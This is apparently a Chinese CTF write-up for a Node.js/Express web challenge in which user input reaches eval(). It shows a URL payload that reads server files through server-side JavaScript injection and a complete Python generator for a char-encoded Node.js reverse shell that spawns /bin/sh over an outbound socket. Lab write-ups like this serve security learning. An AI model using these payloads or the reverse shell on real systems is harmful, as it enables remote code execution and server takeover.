南宁市第二届网络与信息安全技术竞赛——web200

这道题一开始只给了一个页面,提示u have to echo to the server。
这里写图片描述
仔细想了想,感觉可能是想让我们传参数把,有过经验的大佬不要嘲笑,也许你们一眼可以看出来使node.js的漏洞,但是毕竟我还是小白。
自然用小白的分析思路啦,首先用burp查看了中间是否有隐藏信息,或者是否发生了重定向,对包的头部信息仔细看了一下发现了几个不常见属性,比如发送包里
这里写图片描述

If-None-Match,它和ETags(HTTP协议规格说明定义ETag为“被请求变量的实体值”,或者是一个可以与Web资源关联的记号)常用来判断当前请求资源是否改变。类似于Last-Modified和HTTP-IF-MODIFIED-SINCE。但是有所不同的是Last-Modified和HTTP-IF-MODIFIED-SINCE只判断资源的最后修改时间,而ETags和If-None-Match可以是资源任何的任何属性,不如资源的MD5等。

ETags和If-None-Match的工作原理是在HTTP Response中添加ETags信息。当客户端再次请求该资源时,将在HTTP Request中加入If-None-Match信息(ETags的值)。如果服务器验证资源的ETags没有改变(该资源没有改变),将返回一个304状态;否则,服务器将返回200状态,并返回该资源和新的ETags。

ETag如何帮助提升性能?
聪明的服务器开发者会把ETags和GET请求的“If-None-Match”头一起使用,这样可利用客户端(例如浏览器)的缓存。因为服务器首先产生ETag,服务器可在稍后使用它来判断页面是否已经被修改。本质上,客户端通过将该记号传回服务器要求服务器验证其(客户端)缓存。

其过程如下:
1.客户端请求一个页面(A)。
2.服务器返回页面A,并在给A加上一个ETag。
3.客户端展现该页面,并将页面连同ETag一起缓存。
4.客户再次请求页面A,并将上次请求时服务器返回的ETag一起传递给服务器。
5.服务器检查该ETag,并判断出该页面自上次客户端请求之后还未被修改,直接返回响应304(未修改——Not Modified)和一个空的响应体。

当然,这并不是这道题的内容,只是我当时遇到了不熟悉才查了下资料学习一波,记录一下而已。

后来发现了发送包里的 x-powered-by 里有express然后搜索了一波,发现这是node.js里的一个框架。于是自然就查了一下是否有对应的漏洞可以利用,顺便学习一波,提高自己
原文地址
http://www.websecgeeks.com/2017/04/pentesting-nodejs-application-nodejs.html
i春秋上有对应的版本
https://bbs.ichunqiu.com/thread-24807-1-1.html?from=beef

这里的Eval()函数很危险 存在远程代码执行(利用服务器端JavaScript注入)【JavaScript任意代码执行】
eval()是一个危险的函数,任何输入都可以通过它执行,形成一种远程命令执行场景,程序可以越权执行。它从输入参数中获取输入,而不需要转义或过滤直接传递给eval()。这是一个很常见的典型的例子。
用户可以通过将代码传递给输入参数来利用这个漏洞。

顺带着就开始学习起了node.js,噗哈哈哈哈
首先尝试是否可以echo的内容返回,发现可以
于是爆破node.js的代码

process对象是 Node 的一个全局对象,提供当前 Node 进程的信息。它可以在脚本的任意位置使用,不必通过require命令加载。

process对象提供一系列属性,用于返回系统信息。

process.argv:返回一个数组,成员是当前进程的所有命令行参数。
process.env:返回一个对象,成员为当前Shell的环境变量,比如process.env.HOME。
process.installPrefix:返回一个字符串,表示 Node 安装路径的前缀,比如/usr/local。相应地,Node 的执行文件目录为/usr/local/bin/node。
process.pid:返回一个数字,表示当前进程的进程号。
process.platform:返回一个字符串,表示当前的操作系统,比如Linux。
process.title:返回一个字符串,默认值为node,可以自定义该值。
process.version:返回一个字符串,表示当前使用的 Node 版本,比如v7.10.0
process对象提供以下方法:

process.chdir():切换工作目录到指定目录。
process.cwd():返回运行当前脚本的工作目录的路径。
process.exit():退出当前进程。
process.getgid():返回当前进程的组ID(数值)。
process.getuid():返回当前进程的用户ID(数值)。
process.nextTick():指定回调函数在当前执行栈的尾部、下一次Event Loop之前执行。
process.on():监听事件。
process.setgid():指定当前进程的组,可以使用数字ID,也可以使用字符串ID。
process.setuid():指定当前进程的用户,可以使用数字ID,也可以使用字符串ID。

南宁市第二届网络与信息安全技术竞赛——web200_第1张图片

process.arch返回机器位数

南宁市第二届网络与信息安全技术竞赛——web200_第2张图片

process.argv返回一个数组,成员是当前进程的所有命令行参数。process.argv属性返回一个数组,由命令行执行脚本时的各个参数组成。它的第一个成员总是node,第二个成员是脚本文件名,其余成员是脚本文件的参数。

南宁市第二届网络与信息安全技术竞赛——web200_第3张图片
当前脚本的工作路径为/root/app1

南宁市第二届网络与信息安全技术竞赛——web200_第4张图片
当前进程的进程号15674

南宁市第二届网络与信息安全技术竞赛——web200_第5张图片
平台是Linux
南宁市第二届网络与信息安全技术竞赛——web200_第6张图片
南宁市第二届网络与信息安全技术竞赛——web200_第7张图片
返回了进程组ID和用户ID都是0

南宁市第二届网络与信息安全技术竞赛——web200_第8张图片
当前node版本号

其实还应该测试一下
process.stdout和process.stdin但是当时并不熟悉所以没有尝试

确认存在执行漏洞,于是开始读取敏感信息

http://120.78.94.249/?echo=res.end(require(%27fs%27).readFileSync(%27/root/app1/index.js%27).toString())

南宁市第二届网络与信息安全技术竞赛——web200_第9张图片

尝试创建文件,其实这里我在尝试的时候,已经成功创建了文件,可是无法写入,提示函数无法调用。
南宁市第二届网络与信息安全技术竞赛——web200_第10张图片

尝试了好几个payload如果打错了都会爆出这些路径
南宁市第二届网络与信息安全技术竞赛——web200_第11张图片

/root/app1/node_modules/express/lib/router/route.js
 layer.js
/root/app1/index.js
/root/app1/node_modules/express/lib/middleware/init.js

然后尝试了各种方法去读各种文件
南宁市第二届网络与信息安全技术竞赛——web200_第12张图片

各种方法都试了,就是读不了flag,不知道在哪

最后发现一个可以获得flag的方法但是好像并不是正常解答的方法,就是反弹shell

#!/usr/bin/python

# Generator for encoded NodeJS reverse shells

# Based on the NodeJS reverse shell by Evilpacket

# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js

# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)

# Insecurety Research (2013) - insecurety.net

import sys



if len(sys.argv) != 3:

    print "Usage: %s  " % (sys.argv[0])

    sys.exit(0)



IP_ADDR = sys.argv[1]

PORT = sys.argv[2]





def charencode(string):

    """String.CharCode"""

    encoded = ''

    for char in string:

        encoded = encoded + "," + str(ord(char))

    return encoded[1:]



print "[+] LHOST = %s" % (IP_ADDR)

print "[+] LPORT = %s" % (PORT)

NODEJS_REV_SHELL = '''

var net = require('net');

var spawn = require('child_process').spawn;

HOST="%s";

PORT="%s";

TIMEOUT="5000";

if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }

function c(HOST,PORT) {

    var client = new net.Socket();

    client.connect(PORT, HOST, function() {

        var sh = spawn('/bin/sh',[]);

        client.write("Connected!\\n");

        client.pipe(sh.stdin);

        sh.stdout.pipe(client);

        sh.stderr.pipe(client);

        sh.on('exit',function(code,signal){

          client.end("Disconnected!\\n");

        });

    });

    client.on('error', function(e) {

        setTimeout(c(HOST,PORT), TIMEOUT);

    });

}

c(HOST,PORT);

''' % (IP_ADDR, PORT)

print "[+] Encoding"

PAYLOAD = charencode(NODEJS_REV_SHELL)

print "eval(String.fromCharCode(%s))" % (PAYLOAD)

当然,这个脚本不是我写的,在github上可以找到

南宁市第二届网络与信息安全技术竞赛——web200_第13张图片

接着监听端口
这里写图片描述

这里有个问题,反弹shell必须是需要公网IP,然而我在校园网里,因此比赛中并没有成功,比赛后才发现这个问题,心痛!!

过几天等官方write up出来了我再补充吧。学到不少知识!

你可能感兴趣的:(ctf,网络安全)